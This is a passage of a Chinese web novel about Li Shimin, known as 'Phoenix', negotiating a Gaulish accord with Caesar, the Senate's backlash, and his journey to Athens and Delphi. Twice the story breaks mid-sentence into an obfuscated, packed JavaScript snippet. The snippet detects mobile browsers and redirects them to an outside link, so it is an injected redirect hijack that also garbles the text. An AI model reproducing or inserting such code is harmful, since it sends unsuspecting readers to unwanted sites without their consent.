他顿了顿,目光扫过在场的高卢贵族:“如果反抗非法暴政是‘叛乱’,那么罗马先贤推翻塔奎尼乌斯国王,又是什么?” “其二,文中要求高卢人‘无条件服从总督府’。但就在十天前的圣林集会,您亲口承诺将设立‘高卢咨议会’,让各部落参与治理。这份文告与您的公开承诺矛盾——请问,我该以哪一份为准?”? 凯撒的手指在座椅扶手上轻轻敲击了一下。这是他罕见的情绪外露。 “其三,”李世民将凯撒的文告羊皮纸轻轻卷起,“这份文告的出发点,与我们过去三十天所商讨的精神不符。我们谈判的成果,不应是一方对另一方的宽恕,而应是基于共同认可的规则。” 他转向塞恩。塞恩立刻上前,从怀中取出一卷用紫色丝带系着的、明显厚重得多的羊皮纸——那正是谈判纪要的原件,边缘布满批注和修改痕迹。 李世民将两份文件并排放在仪式桌上。 “例如,”他朗声道,“您的文告说‘降低税负’,我的纪要写明‘税率不得超过收成的十分之一,且每年由咨议会与总督府共同审核评估’——有标准,有监督。” “您的文告说‘给予部分人公民权’,我的纪要写明‘凡在罗马军团服役满五年、或无犯罪记录的高卢自由民,可申请拉丁权;满十年或做出杰出贡献者,可申请公民权’——有路径,有门槛。” “您的文告说‘设立咨议会’,我的纪要写明了咨议会的选举方式、议事规则、权力范围——有程序,有边界。” 他抬起头,直视凯撒,声音回荡在寂静的广场上:?? “总督,我们今日在此,是要表演一场空洞的仪式,还是要建立一份能让高卢长治久安的真实契约?” 风掠过观礼台,吹动两份并排的文书。一份崭新而单薄,一份厚重而布满修改的痕迹。 凯撒看着那卷熟悉的“纪要”,忽然笑了——不是礼节性的微笑,而是真正被挑起了兴致、甚至带着些许欣赏的笑。 “你认为,”他缓缓开口,“罗马会接受一份由…‘前反抗者’起草的宪章?” “这不是‘反抗者’起草的,”李世民纠正,“这是高卢人的诉求,由我——一个即将离开的第三方——整理。它不涉及任何个人权力,只关乎规则的明确与公正。” 他转向台下,提高声音: “如果总督今日签署的,只是一份宽恕我的文书,那么我离开后,一切照旧。但如果总督签署的,是一份给予所有高卢人明确保障的宪章——那么我的离开,才是真正为和平铺路。” 台下,高卢民众聚集的区域,响起一阵压抑却汹涌的骚动,如地底闷雷。 凯撒明白,自己又被将了一军。李世民把个人去留与高卢整体利益绑定——拒绝共识纪要,就等于告诉所有人“罗马不想给真正的保障”。 而他凯撒,刚刚在圣林承诺过“愿意讨论”。 “你的逻辑很清晰,”凯撒终于开口,声音听不出喜怒,“但如此具体的条款,若要成为正式律令,仍需元老院法学家审议,并符合共和国的根本法。” “当然,”李世民立即接话,仿佛早已预料到此回应, “所以,今日我们不签署、也不宣布任何正式律令。我们只签署一份原则确认书:总督府承诺,在三个月内,基于这份我们已达成的共识,与正式组建的高卢咨议会协商,共同拟定并颁布正式的《高卢行省权利与义务宪章》。而我,在见证这份原则确认书签署后,将即刻动身离开,不再参与具体细则的制定。” 他再次从怀中取出一张简短的羊皮纸,上面只有五条核心原则,包括税率上限、公民权路径、咨议会合法性等。 “总督只需同意这五项原则。细节,留给法学家和未来的咨议会。” 凯撒看着那张纸。这五条原则,每一条都卡在罗马能够接受的底线边缘——再进一步就可能损害统治根基,但就此拒绝则会显得毫无诚意。 更重要的是,李世民把“招安仪式”变成了“立法谈判”。现在全高卢的眼睛都盯着,看他凯撒敢不敢答应最基本的公平原则。 ?? 第二回合:凯撒意图让他“当众忏悔”,李世民拿出了“谈判共识”作为对抗。个人的道德羞辱,被升格为一场关于统治合法性与政治诚意的公开质询。 ?? 三、签约:羽毛与短剑 原则协议被铺在桌上。 凯撒示意书记官递来羽毛笔和墨水。按照罗马惯例,作为“被宽恕方”的李世民应先签字,表示“接受条件,感恩戴德”。 李世民没有去接那支笔。 “总督,”他说,“在签字前,还有一个程序性问题。” 凯撒抬眼。 “这份协议,一方是罗马高卢总督,代表罗马共和国。”李世民缓缓道,“另一方是谁?是我个人吗?那我签完字离开后,协议是否还有效?” 他停顿,让这个问题在寂静中沉淀。 “我认为,与我个人相比,这份协议更需要一个高卢方面的签署方。”他转向身后的三位长老。 “在圣林,是八大部落共同委托我。在谈判中,是各位长老提供了智慧与支持。我提议,由最早倡议集会、并全程参与的埃杜维、阿维尔尼、林贡斯三部长老,在此作为‘未来咨议会之基石代表’,与我共同签署。如此,协议便不只是与我个人的约定,而是与高卢土地上正在形成的新秩序的约定。” 布罗杜斯等人愣住了。他们没想到会被推上前台。 凯撒的眼神冷了下来。这是要把临时协议制度化,且立刻树立起高卢方面的权威实体。 “这不符惯例。”侍卫长出声。 “什么惯例?”李世民反问,“是高卢被征服的惯例,还是罗马与平等盟友签署条约的惯例?总督在圣林说过,罗马寻求的是‘伙伴’。” 他把凯撒的话原样奉还。 凯撒盯着李世民。良久,他忽然抬手:“取三把椅子来。” 椅子被搬上观礼台,放在长桌对面——与凯撒的座位相对。 三位长老迟疑地坐下。他们从未在如此正式的场合与罗马总督平起平坐。 签字顺序被重新安排: 凯撒先签,代表罗马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224114|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出承诺; 接着三位长老签,代表高卢接受并承诺遵守秩序; 最后李世民签,作为“见证人与调解者”。 当李世民最后拿起羽毛笔时,他没有蘸墨水,而是从腰间抽出了那柄磨旧的罗马短剑。 在所有人惊愕的目光中,他用剑尖划破左手拇指,将血滴入墨水瓶。 血与墨混合成暗红色。 他用羽毛笔蘸取这混合液体,在羊皮纸上签下拉丁文的“Phoenix”。 然后他又用汉语,在“Phoenix”旁写下了四个小字:“民心惟本”。? 然后,他放下笔,将短剑调转方向,柄朝前,轻轻放在协议上。 “这柄剑,是我从阿莱西亚一名罗马士兵身上取得的。”他的声音很轻,但全场可闻,“它曾指向我。今日,我把它留在协议上——不是作为武器,而是作为抵押品。” 他抬头看凯撒: “我离开后,若罗马遵守这五项原则,推进宪章,则此剑可永远留在此处,作为和平的象征。若罗马背弃承诺……” 他没有说下去,只是看了一眼那柄染过他鲜血的短剑。 意思不言而喻:剑在,他的注视就在。?? 第三回合:凯撒想让他“个人屈服”,李世民拉起了“集体意志承接者”,并把仪式变成了“血誓抵押”。羞辱被转化为一场具有神圣约束力的奠基礼。 --- 四、离场:侧门与正门 协议签署完毕,按理李世民应从观礼台侧面的台阶离开,由罗马士兵“护送”至港口——这是一种低调的控制。 李世民却站起身,走到观礼台边缘,面对台下数千民众。 “高卢的战士们!”他用高卢语高声说,塞恩在他身旁同步翻译成拉丁语,“今日,我与凯撒总督签署了协议。五条原则,白纸黑字——税率有顶,公民权有路,咨议会有权。” 人群静默地听着。 “我完成了我的承诺:为你们争取一份看得见的保障。现在,我要去完成对我自己的承诺:寻找回家的路。” 他停顿,风扬起他黑色的短发。 “我走后,请你们遵守协议,与罗马共同建立秩序。也请你们记住——协议的有效,不在于一纸文书,而在于你们团结起来监督它执行的力量。” 他转身,向凯撒微微颔首:“总督,感谢您的合作。我的船已在马赛等候,就此别过。” 说完,他没有走侧面台阶,而是直接走观礼台正前方,沿着猩红地毯铺就的中轴大道,向城门方向走去。 塞恩与三位长老紧随其后。 罗马士兵本能地想阻拦,凯撒抬手制止了。 他看着那个黑色身影沿着中轴线,在数千罗马士兵与高卢民众的注视下,像凯旋的将军一样走出仪式场。阳光将他的影子拉得很长,投在猩红地毯上,像一道无法抹去的印记。 人群中,不知是谁先喊了一声:“菲尼克斯!” 接着是更多人:“菲尼克斯!菲尼克斯!” 声音起初零星,主要来自高卢人聚集的区域,随后汇成压抑却清晰的声浪。罗马士兵们握紧了武器,军官们看向观礼台。 凯撒没有任何表示,只是平静地注视着。 李世民没有回头,没有挥手。他只是挺直脊背,走向城门外的马车——那是凯撒“提供”的,本意为押送,此刻却成了他主动选择的交通工具。 马车启动前,他最后看了一眼观礼台方向。 凯撒依然站在那里,灰蓝色的眼睛遥望着他。两人的目光在空中交汇一瞬,隔着百步距离,隔着数千人潮。 没有言语。 马车向南,驶往马赛。 --- 五、余波:书房与远帆 当夜,卢格杜努姆总督府。 凯撒站在窗前,手中端着酒杯。雷克斯站在身后汇报:“马车已出城,沿途有我们的人监视。他会在马赛港登上前往希腊的商船。” “那柄剑呢?”凯撒问。 “已按您吩咐,与协议一同封存在议事厅水晶柜中。” 凯撒饮尽杯中酒。辛辣的液体滑过喉咙。 “他今天赢了三局。”凯撒忽然说。 雷克斯沉默。 “不,”凯撒自己摇头纠正,“他赢了四局。最后一局是:他让我永远记住了这场‘招安’,不是罗马的胜利,而是两个智者达成的一笔交易。” 他放下酒杯,手指无意识地敲击窗台。 “他上船之后?” “我们的人会继续跟踪,但保持距离。他似乎在寻找关于东方古国的记载和航线。” 凯撒望向南方星空。那里是地中海,是希腊,是更遥远的、传说中丝绸与瓷器的国度。 “一个想回家的皇帝……”他低声自语,“却在这里,给我上了一课:真正的权威,不在于让人下跪,而在于让人自愿与你签订协议后,依然对你心存敬畏。” 他关上窗户。 “准备一下,雷克斯。高卢的‘咨议会’要立刻组建——按他草案里的选举方式。我们要在他留下的规则里,比他更擅长玩这个游戏。” “是,统帅。” 同一时刻,南行的马车中。 塞恩看着闭目养神的李世民:“你今天…很冒险。” 李世民睁开眼:“对付凯撒这样的人,谨慎和冒险是同义词。你必须让他觉得,你每一步都计算到了他前面。” “那柄剑…真的有用吗?” “剑没用,”李世民看向窗外飞掠的夜色,“但‘菲尼克斯把剑抵押给了协议’这个故事,会有用。它会流传下去,成为高卢人心里的一根刺,也是凯撒心里的一根刺——提醒他,协议是流着血签下的。” 他停顿,轻声说: “现在,我终于可以…继续我的旅程了。” 马车消失在通往地中海的夜路上。 观礼台的红毯已被收起,但地毯上那个阳光投下的黑色身影的印记,却仿佛烙在了卢格杜努姆的土地上。 招安完成了。 但赢家,不止一个。 ?? ?? ?? 30. 第十二章 风起地中海 第十二章风起地中海 第一幕鹰落元老院 罗马,元老院议事厅,十一月末的寒风穿过大理石廊柱。 厅内却热得如同盛夏。不是炭火,是数百名元老胸中翻腾的怒火与算计。 昆图斯·西塞罗站在讲坛上,额角渗汗。他刚从高卢星夜兼程赶回,手中握着那份刚刚签署的《卢格杜努姆原则确认书》副本,以及凯撒请求元老院“予以追认并授权细化”的正式文书。 他刚刚念完最后一条原则:“……高卢咨议会将参与地方税收评估及官员任命建议。” 话音未落,怒吼便炸开了。 “荒谬!”首先站起来的是马尔库斯·波尔基乌斯·加图,元老院保守派的精神领袖。他年近六十,面容枯瘦,眼神却锐利如鹰,“凯撒这是要把行省送给蛮族吗?税收由蛮族参与评估?官员任命要听取蛮族建议?那罗马的权威在哪里?!” “这是背叛!”另一名元老拍案而起,他是格奈乌斯·庞培的亲信,“凯撒在高卢待了八年,是不是已经被蛮族的蜜酒泡软了骨头?还是说,他真如传言中所说——被那个东方巫师蛊惑了心智?” 最后这个词像火星落入油桶。 关于“凯撒与东方男宠”的流言,几个月前就在罗马暗巷中流传,此刻终于被正式端上元老院的台面。 西塞罗脸色发白,急道:“诸位,这份协议是在极端复杂的局势下达成的!那个‘菲尼克斯’并非普通蛮族,他——” “他是什么?”加图冷笑,“一个从凯撒军营里逃出去的俘虏,一个靠美色迷惑了我们统帅的东方戏子,现在摇身一变,成了高卢人的‘代言人’?而我们的凯撒,不仅不把他钉上十字架,反而和他同桌共饮,签下这份丧权辱国的协议?!” “这是对罗马尊严的践踏!”庞培派的元老高声附和,“如果每个行省的蛮族都学着搞个‘代言人’,和我们‘谈判’,罗马还统治什么?直接让蛮族进元老院算了!” 议事厅里嘘声、怒吼声混成一片。西塞罗徒劳地试图解释谈判的艰辛、高卢局势的微妙、避免新一轮叛乱的战略考量——但无人要听。 政治的逻辑永远简单而残酷:这是一次攻击凯撒的绝佳机会。 过去八年,凯撒在高卢的赫赫战功让他声望如日中天,积累的财富和忠诚的军团让元老院既嫉妒又恐惧。庞培与克拉苏明面上仍是“三头同盟”,私下却早已对凯撒警惕万分。现在,克拉苏死了,凯撒自己递上了刀子。 “我提议!”加图的声音压过嘈杂,“第一,元老院正式否决《卢格杜努姆协议》的全部内容,宣布其无效且违背罗马共和国的根本利益!” “附议!”数十只手举起。 “第二,将那个自称‘菲尼克斯’的东方巫师,正式定为‘罗马公敌’,悬赏金额提升至五万第纳尔——生死不论!并向所有行省及盟国发出通缉令!” 更多手举起。五万第纳尔,足以让任何人疯狂。 “第三,”加图眼中闪过寒光,“要求凯撒本人立即执行抓捕。既然协议是他签的,烂摊子就该由他来收拾。如果他拒绝……元老院将考虑是否召回他,并启动对其‘渎职与通敌’的调查!” 最后一句才是杀招。这是终于抓到一个把柄,攻击来势汹汹的节奏。 就在喧哗达到顶峰,西塞罗近乎绝望之际,一个沉稳、洪亮、带着不容置疑权威感的声音,从前排中心位置响起,瞬间压过了所有嘈杂: “请允许我发言,执政官阁下。” 整个大厅骤然一静。 格奈乌斯·庞培·马格努斯缓缓起身。 他时年五十五岁,身材魁梧,多年的最高权力滋养出一种混合着武人强硬与政客圆滑的独特气质。他没有加图的激动,双手甚至悠闲地背在身后,但那双鹰隼般的眼睛扫过全场时,带来的是比怒吼更深沉的压迫。 庞培开口,语调平稳,仿佛在陈述一个再明显不过的事实:“马尔库斯·加图所表达的忧虑,指出了问题的核心——即罗马统治的基石,在于绝对权威,不容置疑,更不容谈判。” 他顿了顿,目光似是无意地扫过西塞罗手中那份协议副本,又缓缓移向全场: “凯撒在高卢的功绩,无人能否认。他为共和国开疆拓土,带来了荣耀和黄金。但是——”他话锋一转,声音陡然变得冷硬,像出鞘的剑,“功绩,绝不能成为破坏共和国根本原则的借口!这份所谓的‘协议’,开了一个极其危险的先例。” 他向前走了两步,姿态像一个将军在巡视他的军队,面对的是全体元老: “今天,我们允许高卢的蛮族与我们‘共议’税收;明天,西班牙、阿非利加、乃至亚洲的行省,是否都会要求同样的‘权利’?今天,我们默许一个逃犯、一个战俘,与我们尊贵的总督平起平坐;明天,是不是任何一个稍有武力的强盗,都可以绑架我们的官员,然后要求谈判?” 这番话比加图的道德指控更致命。它直接戳中了所有元老——尤其是那些在行省有巨大产业者的最深恐惧:动摇统治秩序,损害所有人的切身利益。大厅里响起一片低沉而赞同的共鸣。 “凯撒或许有他的苦衷,”庞培的语气忽然带上一丝“遗憾”和“理解”,但这比直接的攻击更让人不寒而栗,“或许他面对的局面确实复杂。但作为罗马的统帅,他的首要职责是维护罗马的统治,而非创新一套可能颠覆这套统治的‘新规则’。这份协议,无论初衷如何,其性质是对共和国权威的严重让步和削弱。” 这时,他才终于提到了那个名字,用一种混合着惋惜与严厉,仿佛最终宣判的口吻: “至于那个‘菲尼克斯’……一个凭借狡猾和运气,暂时让我们陷入被动的东方人。对于他,元老院的态度必须明确且强硬:他不是政治实体,不是谈判对手,他是必须被清除的罪犯、祸患和耻辱的象征。五万第纳尔的悬赏?我完全支持。这不仅仅是悬赏他的头颅,更是悬赏罗马不容侵犯的尊严!” 最后,他给出了自己的结论,语气斩钉截铁,不容任何反驳: “因此,我支持加图的全部三点提议。我呼吁元老院立即否决这份协议,并对凯撒发出最明确的指令:动用一切必要力量,清除这个祸患,恢复高卢绝对而清晰的罗马秩序。如果连一个逃犯都无法处置,我们如何让整个天下敬畏罗马的律法与鹰旗?” 说完,庞培微微颔首,沉稳地坐回座位。 他没有嘶吼,但每一个字都像重锤,敲定了会议的基调。他的发言,为这场声讨提供了最具说服力的政治逻辑和最坚实的利益理由。 庞培发言后,元老院内的气氛彻底导向了对凯撒的批判。 西塞罗绝望地看向主席台。主持今日会议的是执政官马尔库斯·克劳狄乌斯·马尔塞鲁斯,一个公开敌视凯撒的人。他面无表情地敲下木槌: “表决开始。” 结果毫无悬念。 《卢格杜努姆协议》被正式否决。 “菲尼克斯”的悬赏飙升至五万第纳尔,通缉令发往地中海世界。 要求凯撒“立即、全力”执行抓捕的决议获得通过。 散会时,加图走到西塞罗身边,压低声音:“告诉你兄长马尔库斯(指西塞罗的哥哥,著名演说家),也告诉凯撒:罗马不是高卢的沼泽,这里讲的是法律和传统,不是和蛮族讨价还价的小聪明。” 他顿了顿,补了一句,声音里满是恶毒的讥诮: “还有,让凯撒洗干净脖子。下次他回罗马时,元老院要问的恐怕不止是高卢的政务,还有他帐篷里那些……见不得光的东方情趣。” 西塞罗僵在原地,如坠冰窟。他明白,今天不仅是加图,更是庞培亲自为凯撒设下了陷阱。 他知道,风暴已经登陆。 --- 第二幕卢格杜努姆的棋局 决议以最快速度送达卢格杜努姆。 总督府书房,凯撒读完羊皮纸卷上的每一个字,脸上没有任何表情。只是当他的目光扫过“基于维护共和国至高权威之必要”这句典型的庞培式措辞,以及“渎职调查”这个严重指控时,指尖在光滑的桌面上轻轻敲击了一下。 雷克斯站在一旁,大气不敢出。 “愚蠢。”凯撒终于开口,将卷轴随意丢在桌上,“加图还是老样子,以为用元老院的决议就能勒住我的缰绳。但加图只会吼叫,真正能驱动整个元老院、并让通缉令迅速覆盖海军的,是庞培的威望和他在海外的力量。” “统帅,我们……真的要执行抓捕?”雷克斯艰难地问,“菲尼克斯的船五天前就离开马赛了,需要命令我们的人拦截吗?” 凯撒沉默了很长时间。 窗外,卢格杜努姆的初春雨幕连绵,将远山笼罩在灰蒙蒙的雾气中。 “不。”凯撒最终说,转身走回书桌,“让我们的人继续跟,但只观察,不接触。如果他要穿越波斯海域……那是他自己的命运。” 雷克斯有些惊讶,但保持了沉默。 凯撒走到地图前,目光掠过意大利半岛:“他们根本不是真想抓菲尼克斯。这是一次由庞培主导、加图冲锋的政治合围。目的是逼我在高卢重启战端,消耗实力;或者逼我公开抗命,给他们一个合法的理由召回并审判我。” “那我们……” “阳奉阴违。”凯撒说得轻描淡写,“发公文,命令各行省、各港口严查。” 凯撒坐下,开始亲自书写一份新的命令,“但把追捕的主要责任……推给西西里总督和希腊的盟邦。就说我们判断菲尼克斯已逃往东方,高卢的搜捕网可以适当收拢,重点放在防止其潜回煽动叛乱上。” 雷克斯立刻明白了:这是典型的官僚手段——高度重视、全面部署、责任分散、最后不了了之。 “那三位签了字的长老?” “安抚。私下告诉他们,这只是应对罗马政治压力的表面文章,实际治理中,‘共识精神’会得到尊重。”凯撒说得很平淡,“他们现在需要我稳住高卢局势,不会翻脸。” “是。” 凯撒转身,“但光是防守不够。元老院出招了,我们得还手。” 他沉吟片刻,眼中精光一闪:“安东尼呢?还在南边军营里生闷气?” “是的,安东尼将军对上次沼泽……仍耿耿于怀。” “叫他回来。”凯撒说,“告诉他,有个比追捕东方人更重要的事要他去办。” --- 两天后,马库斯·安东尼大步走进总督府。他晒黑了些,眼神里的暴躁被压抑成一种沉郁的火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224115|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “统帅,您找我。”他的语气仍带着上次失利的不甘。 凯撒没绕弯子,直接把元老院的决议副本推过去:“看看。” 安东尼快速浏览,脸色越来越难看:“这群坐在罗马吹凉风的老废物!他们知道高卢现在是什么情况吗?庞培这个伪君子,居然这样攻击你!刚签完协议,转眼就要撕毁,还要我们去抓一个已经出海的人?这他妈——” “骂解决不了问题。”凯撒平静地打断,“我需要你去罗马。” 安东尼愣住了:“罗马?现在?去干什么?” “竞选今年的保民官。” 书房里安静了几秒。安东尼瞪大眼睛:“我?保民官?统帅,我不是那块料,我只会——” “你会花钱,会结交‘骑士阶层’的商人,会喝酒,会和士兵称兄道弟。”凯撒看着他,“而这些,正是现在罗马政治最需要的东西——不是西塞罗的雄辩,是实实在在的人情和金币。” 他走到保险柜前,打开,取出一份清单:“这是过去八年,我在高卢所得战利品中,可以动用的部分。黄金、白银、珠宝、艺术品……总价值超过三千万塞斯特斯。你全部带去罗马。” 安东尼倒吸一口凉气。三千万,足以买下半座罗马城。 “用这些钱,”凯撒一字一句,“做三件事:第一,为你自己竞选保民官铺路,宴请、送礼、许诺,怎么直接怎么来。第二,在元老院里收买盟友——找那些对加图和庞培不满的,或者单纯贪财的。第三,在罗马平民和退伍老兵中散播消息:说凯撒在高卢的胜利带来了财富,而元老院的老爷们只想把财富据为己有,还要毁了来之不易的和平。” 他拍了拍安东尼的肩膀,力道很重: “马库斯,你是我最信任的将军。战场上你为我冲锋陷阵,现在,我需要你在另一个战场上为我撕开缺口。保民官有否决元老院决议的权力,有召集平民大会的权力。你坐上那个位置,就是我们在罗马心脏插下的一把刀。” 安东尼的胸膛起伏着。耻辱、愤怒、不甘,此刻都化作了被重新赋予重任的炽热。他知道,这是凯撒给他的一次翻身机会,一次从败军之将变为政治棋手的机会。 “他们会用‘沼泽的事’攻击我。”安东尼咬牙。 “那就让他们攻击。”凯撒冷笑,“你可以大方承认:是的,我被一个东方人用诡计暂时挫败了,但正是那次教训让我更清楚高卢需要的是什么——不是无休止的镇压,是像协议里那样的智慧治理。而你,是带着这份智慧回罗马争取支持的人。” 他顿了顿,声音压低: “还有,关于那些‘男宠’的谣言……如果有人在元老院提起,你就直接反问:加图是不是已经老眼昏花到分不清战场谋略和个人私事了?如果怀疑统帅的忠诚,那就请他来高卢,亲自看看军团的士气,看看仓库里的黄金,再看看边境上那些被罗马军团挡住的日耳曼蛮族!” 安东尼深吸一口气,眼神变得凶狠而坚定:“我明白了,统帅。我会让罗马那群老爷们知道,谁才是真正为共和国流血的人。” “好。”凯撒点头,“三天后出发。我会派一个中队护送你到意大利边境。记住,你不是去道歉的,是去征服的——用金币和酒宴征服。” 安东尼行礼离开,脚步重新变得虎虎生风。 书房重归寂静。凯撒走到窗边,望向南方。 元老院的决议在他意料之中,甚至是他故意促成的——那份协议里过于“创新”的条款,本就是为了试探元老院的底线,并激怒他们。现在,鱼儿咬钩了。 但庞培的如此公开、如此致命地站在前台,标志着两人脆弱的同盟已彻底破裂。现在,阴谋摆上了明面。 真正让他心绪微澜的,是决议中那行小字:“……该东方巫师精通蛊惑人心之术,曾长期潜伏于凯撒身边,疑有非常之亲密关系。” “亲密关系……”凯撒低声重复,嘴角泛起一丝复杂的弧度。 他想起了雨夜帐篷里的油灯光晕,想起了圣林中对视时那双深褐色眼睛里燃烧的火焰,想起了维纳斯花园夜色中近在咫尺的呼吸。 那不是亲密,是某种更危险的东西:是两个站在不同文明巅峰的灵魂,在撞击时产生的、近乎致命的共鸣。 而现在,这个人正航行在地中海上,怀里揣着他送的星盘和《地理学》,奔向渺茫的归途。而元老院那群蠢货,想用五万第纳尔和一堆废话,就把这个故事变成一桩追捕逃犯的俗套戏码。 “可惜。”凯撒对着窗外自语,“你们永远不懂……有些鸟儿,生来就不该被关在笼子里。有些对手,值得用整个帝国作为棋盘来对弈。” 他转身,提笔开始给仍在罗马的盟友写信。 风暴已起,那就让风暴来得更猛烈些。元老院想要战争?那就给他们战争——不是在日耳曼的森林或高卢的沼泽,而是在罗马的广场、元老院的走廊、以及每一个可以被金币和誓言收买的人心里。 至于菲尼克斯…… “祝你一路顺风,世民。”凯撒用汉语极轻地说,笔尖在信纸上划过,“但如果你真的注定要折翼……那也只能折在我的手里。” 他写下最后一行指令,火漆封印。 棋局进入中盘,较量远未结束。 31. 第十三章、希腊神谕 第十三章、希腊神谕 一、雅典的阴影 四月的爱琴海,风裹着咸腥的水汽。 李世民和塞恩在比雷埃夫斯港下船时,身边多了一个人——狄奥尼修斯,一个三十岁上下、棕色卷发、眼神疲惫的希腊人。 他是在罗德岛被李世民“买”下的。说是买,不如说是救:狄奥尼修斯原是雅典一个哲学教师的奴隶,因主人破产被卖往埃及的采石场。李世民路过奴隶市场时,他正用流利的拉丁语和希腊语与奴隶贩子辩论亚里士多德的《政治学》中关于自然奴隶论的谬误。 这引起了李世民的注意。他用二十个第纳尔买下了这个“口才比力气值钱”的奴隶,当场撕毁了他的卖身契,却递给他一份雇佣合同:“我需要一个精通语言、历史和地理的向导与翻译。每月工钱,干得好有赏金,随时可离开。” 狄奥尼修斯拿着那张莎草纸,手在发抖——不是害怕,是震惊。 他从没见过这样的主人。好像第纳尔不是钱,是土。? 于是,两人行变成了三人。 雅典的街道让李世民想起了缩小版的长安——同样依山而建,同样有宏伟的神庙俯瞰全城,同样在街头能听到七八种语言。但长安的包容是居高临下的天朝气度,而雅典的混杂则是衰落后的无可奈何:罗马官员、希腊商人、埃及水手、叙利亚工匠,还有随处可见的、眼神茫然的奴隶。 李世民走在人群中,利卡斯紧随半步之后,低声翻译着听到的对话片段。 “……听说元老院又吵起来了,关于高卢的新税制……” “……庞培在西西里的舰队又扩充了,他想干什么?” “……亚历山大港来的消息,托勒密王朝那两姐弟又打起来了……” “雅典人现在有两件事最热衷。”狄奥尼修斯边走边低声介绍,“第一,争论柏拉图和亚里士多德谁对罗马更有用;第二,打听罗马元老院的最新八卦。至于民主……那是博物馆里的古董了。” 他们在普拉卡区租下一间带小院的石屋。 塞恩负责警戒和采购,李世民与狄奥尼修斯则整日外出,前往卫城脚下的图书馆、哲学学园,甚至港口酒馆,搜集一切关于东方——“赛里斯”或“丝绸之国”——的信息。 收获甚微。大多数记载荒诞不经:有人说赛里斯人是巨人,靠饮露水为生;有人说他们的国王长着狗头;最“可靠”的一份商人手记称,从叙利亚的安条克出发,穿过波斯,骑马要走“三年又一百天”才能抵达赛里斯边境,途中要经过“吐火的沙地”和“吃人的雪山”。 第五天,李世民在阿格拉市场南侧的布告墙前,看到了自己的脸。 准确说,是一张新贴的羊皮纸通缉令。画工显然根据见过他的人口述绘制:东方人的脸型,微挑的眼睛,画得虽粗糙,但那神韵抓住了几分。旁边是希腊文和拉丁文的说明,悬赏金额处赫然写着:“五万第纳尔”。 李世民戴着斗篷的兜帽,站在围观人群的外围。他能听见议论: “五万!诸神啊,够在科林斯买两座庄园了!” “说是东方巫师,会蛊惑人心,在高卢煽动叛乱……” “看这长相,倒不像恶人。” “你懂什么,越好看的男人越危险,尤其是东方来的……” 塞恩的手悄悄按住了腰间的短剑。狄奥尼修斯脸色发白,低声催促:“主人,我们该离开了。” 李世民点点头。但就在转身的刹那,他感觉有一道视线,钉子般钉在自己背上。 那是个靠墙坐着的乞丐,裹着破毯子,只露出一双灰色的眼睛。两人的目光在空中交汇一瞬,乞丐立刻低下头,蜷缩得更紧了。 当晚,石屋外传来奇怪的响动——不是风吹,是有人刻意踩断了枯枝。 塞恩像猫一样翻上院墙,只看到一个黑影消失在巷尾。她追出两条街,无功而返。 “被盯上了。”她对李世民说,“可能是那个乞丐,也可能是别的什么人。五万第纳尔,能让最虔诚的僧侣变成饿狼。” 李世民沉默地擦拭着一把罗马短剑——虽然他一直嫌弃这玩意是破铜烂铁,烛光在剑刃上跳跃。 “雅典不能久留。”他说,“狄奥尼修斯,你听说过德尔斐的神谕吗?” 二、德尔斐的迷雾 前往德尔斐的路在山间蜿蜒。 马车颠簸,李世民大部分时间在阅读狄奥尼修斯从雅典图书馆抄录的片段——关于古代旅行者的记载,关于星象与航海,关于那些消失在东方沙漠与雪山中的使团。 “主人为何执着于德尔斐?”狄奥尼修斯终于忍不住问,“神谕……早已不是古典时代的样子了。罗马人控制着神庙,女祭司(Pythia)的预言,常常要为罗马的政治服务。” “我需要方向。”李世民放下莎草纸,看向窗外覆雪的山峦,“所有的文字记载都模糊不清。如果凡人无法给我答案,也许该问问神祇。” “即使答案可能是谎言?” “谎言本身,也是一种信息。” 塞恩坐在他对面,膝盖上横着她的剑。自离开雅典,她的话变少了,常看着李世民出神。偶尔两人目光相触,她会迅速移开,耳根泛起可疑的红色。 狄奥尼修斯察觉到了两人之间微妙的气氛,明智地选择了沉默。 德尔斐坐落在帕尔纳索斯山陡峭的斜坡上,被两座巨大的岩石——斐德利阿得斯——环抱。 即便在罗马统治下,这里依然弥漫着古老而神圣的肃穆感。朝圣者络绎不绝,空气中飘荡着月桂树叶燃烧的香气和祭祀牲畜的血腥味。 按照规矩,求问神谕者需先净身、献祭,并缴纳不菲的费用。李世民让狄奥尼修斯以“来自小亚细亚的商人,欲往东方寻求商机”的名义预约,献上了一头纯白的羔羊。 三日后,他们被引至阿波罗神庙的内殿。 殿内光线昏暗,只有几盏油灯在墙壁的凹槽中摇曳。空气闷热,弥漫着一种甜腻的、类似苦杏仁的味道——狄奥尼修斯低声解释,那是女祭司为进入迷狂状态所吸食的某种烟气。 女祭司坐在一个三脚铜釜上,身披白袍,头戴月桂枝冠。她看起来很年轻,但双眼空洞,仿佛凝视着另一个世界。她身旁站着一位神庙祭司,面无表情。 “提出你的问题,外乡人。”祭司的声音干涩。 李世民上前一步,用狄奥尼修斯教他的阿提卡希腊语缓慢而清晰地说:“我来自遥远的东方,渴望归国。请问神圣的阿波罗,我怎样才能回到我的土地?” 女祭司的身体开始颤抖,喉咙里发出咯咯的声响。她的头向后仰,双眼翻白,四肢抽搐。许久,她张开嘴,声音尖锐而飘忽,像从深井中传来: 